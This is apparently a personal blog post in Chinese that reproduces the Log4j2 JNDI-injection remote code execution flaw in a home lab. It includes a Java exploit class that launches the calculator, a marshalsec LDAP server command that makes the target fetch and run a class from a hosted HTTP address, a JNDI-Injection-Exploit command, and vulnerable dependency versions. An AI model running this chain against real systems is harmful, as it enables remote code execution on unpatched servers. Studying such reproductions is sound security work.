炸锅了,过年了,吃瓜了。我的立场更倾向于最后一派,应该是开发运维炸锅修,安全过年,废物吃瓜😆 。(安抚同事情绪哈哈哈哈,鼓励师石锤)。
poc满天飞、exp公开、在野也有在被利用,某度、某果、某车、某界等等等都沦陷了。。。毕竟你要说用Java开发,不用去数谁在用log4j2,反向操作即可,影响范围太大了。
本地复现一下:
1、使用marshalsec-0.0.3-SNAPSHOT-all.jar 执行JNDI注入
(1)、写个弹出计算器的exp:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author jinyunlong
* @date 2021/12/10 17:08
* @profession ICBC锅炉房保安
*/
public class Exploit {
public static void main(String[] args) {
}
public Exploit() throws Exception{
Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
System.out.println("执行expppppppp");
String line;
while ((line = reader.readLine()) != null){
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
}
(2)、编译成.class文件
(3)、vps上启个端口监听,.class也放在该目录下绑定。python -m SimpleHTTPServer 8888
(4)、用jar包启动ldap服务,自己指定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.6.128:8888/#Exploit" 9999
(5)、然后在pom引入那两个漏洞包:
<!-- <dependency>-->
<!-- <groupId>org.glavo</groupId>-->
<!-- <artifactId>log4j-patch</artifactId>-->
<!-- <version>1.0</version>-->
<!-- </dependency>-->
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
(6)、jndi注入,弹出计算器:
关于这个marshalsec-0.0.3-SNAPSHOT-all.jar的包,我也忘了是咋用的了,在以前试fastjson时用过,参考文章:
关于FastJson漏洞的一切(未完待续)
2、使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 进行JNDI注入
和1基本一样,不多记了
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.6.1"
3、使用JNDIExploit-1.3-SNAPSHOT.jar 注入内存马
那肯定没做啊
简单记录一下本地复现,没啥难度挺好利用。至于漏洞产生原因、源码栈的跟进、漏洞修补策略都没有记录,各大厂商和师傅们都有写了,可以看看。
贴几个:
知乎专栏:
Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?
官方:
https://github.com/apache/logging-log4j2/
各大厂商的漏洞预警通告:
太多了。